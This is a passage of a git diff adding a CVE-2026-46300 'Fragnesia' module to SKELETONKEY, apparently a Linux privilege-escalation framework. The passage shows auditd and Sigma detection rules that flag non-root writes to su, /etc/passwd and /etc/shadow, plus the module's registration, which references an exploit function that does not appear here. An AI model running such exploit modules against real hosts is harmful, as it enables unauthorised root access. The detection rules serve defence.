surface\n" + "-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-fragnesia-sockopt\n" + "# splice() drives page-cache pages into the ESP-in-TCP stream\n" + "-a always,exit -F arch=b64 -S splice -k skeletonkey-fragnesia-splice\n"; + +static const char fg_sigma[] = + "title: Possible Fragnesia exploitation (CVE-2026-46300)\n" + "id: 9b3d2e71-skeletonkey-fragnesia\n" + "status: experimental\n" + "description: |\n" + " Detects the footprint of the Fragnesia XFRM ESP-in-TCP page-cache\n" + " write (CVE-2026-46300): non-root modification of a setuid-root\n" + " binary or /etc/passwd, typically inside a freshly created user +\n" + " network namespace.\n" + "logsource: {product: linux, service: auditd}\n" + "detection:\n" + " modification:\n" + " type: 'PATH'\n" + " name|startswith: ['/usr/bin/su', '/bin/su', '/etc/passwd', '/etc/shadow']\n" + " not_root:\n" + " auid|expression: '!= 0'\n" + " condition: modification and not_root\n" + "level: high\n" + "tags: [attack.privilege_escalation, attack.t1068, cve.2026.46300]\n"; + +const struct skeletonkey_module fragnesia_module = { + .name = "fragnesia", + .cve = "CVE-2026-46300", + .summary = "XFRM ESP-in-TCP skb_try_coalesce SHARED_FRAG loss โ†’ page-cache write", + .family = "fragnesia", + .kernel_range = "kernels with CONFIG_INET_ESPINTCP after the Dirty Frag fix; fix commit not yet pinned", + .detect = fg_detect, + .exploit = fg_exploit, + .mitigate = NULL, + .cleanup = fg_cleanup, + .detect_auditd = fg_auditd, + .detect_sigma = fg_sigma, + .detect_yara = NULL, + .detect_falco = NULL, +}; + +void skeletonkey_register_fragnesia(void) +{ + skeletonkey_register(&fragnesia_module); +} diff --git a/modules/fragnesia_cve_2026_46300/skeletonkey_modules.h b/modules/fragnesia_cve_2026_46300/skeletonkey_modules.h new file mode 100644 index 0000000..eec0ed2 --- /dev/null +++ b/modules/fragnesia_cve_2026_46300/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * fragnesia_cve_2026_46300 โ€” SKELETONKEY module registry hook + */ + +#ifndef FRAGNESIA_SKELETONKEY_MODULES_H +#define FRAGNESIA_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module fragnesia_module; + +#endif diff --git a/skeletonkey.c b/skeletonkey.c index 4b701a0..1327153 100644 --- a/skeletonkey.c +++ b/skeletonkey.c @@ -789,6 +789,8 @@ int main(int argc, char **argv) skeletonkey_register_sequoia(); skeletonkey_register_sudoedit_editor(); skeletonkey_register_vmwgfx(); + skeletonkey_register_dirtydecrypt(); + skeletonkey_register_fragnesia(); enum mode mode = MODE_SCAN; struct skeletonkey_ctx ctx = {0};